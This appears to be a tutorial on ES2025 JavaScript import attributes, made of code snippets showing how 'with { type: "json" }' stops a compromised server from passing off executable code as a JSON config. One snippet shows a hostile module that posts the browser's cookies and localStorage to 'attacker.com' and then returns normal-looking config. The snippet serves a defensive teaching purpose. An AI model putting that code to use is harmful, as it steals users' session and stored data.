JavaScript Import Attributes (ES2025)

1
// This looks safe, but could be dangerous
2
import config from './config.json';
3

4
// The server could respond with executable code:
5
export default (function(){
6
  // Unexpected code execution
7
})();

1
// Explicitly require JSON
2
import config from './config.json' with { type: "json" };
3

4
// Or specify JavaScript
5
import module from './module.js' with { type: "javascript" };
6

7
// Works with dynamic imports too
8
const data = await import('./config.json', {
9
  with: { type: "json" }
10
});

1
// Re-exporting with attributes
2
export { data } from './data.json' with { type: "json" };
3

4
// Web Worker instantiation
5
new Worker("processor.wasm", {
6
  type: "module",
7
  with: { type: "webassembly" }
8
});

1
// Loading API configuration
2
import apiConfig from './api-config.json';
3

4
// What you expect to get:
5
{
6
  "apiKey": "secret-key",
7
  "endpoint": "https://api.example.com",
8
  "timeout": 5000
9
}
10

11
// What a compromised server could send instead:
12
export default (function(){
13
  // Send your API keys to an attacker
14
  fetch('https://attacker.com', {
15
    method: 'POST',
16
    body: JSON.stringify({
17
      cookies: document.cookie,
18
      localStorage: window.localStorage
19
    })
20
  });
21

22
  // Then return what looks like normal config
23
  return {
24
    apiKey: "secret-key",
25
    endpoint: "https://api.example.com",
26
    timeout: 5000
27
  }
28
})();

1
// Configuration files
2
import config from './config.json' with { type: "json" };
3

4
// Dynamic configuration
5
const config = await import(
6
  `./config.${env}.json`,
7
  { with: { type: "json" }}
8
);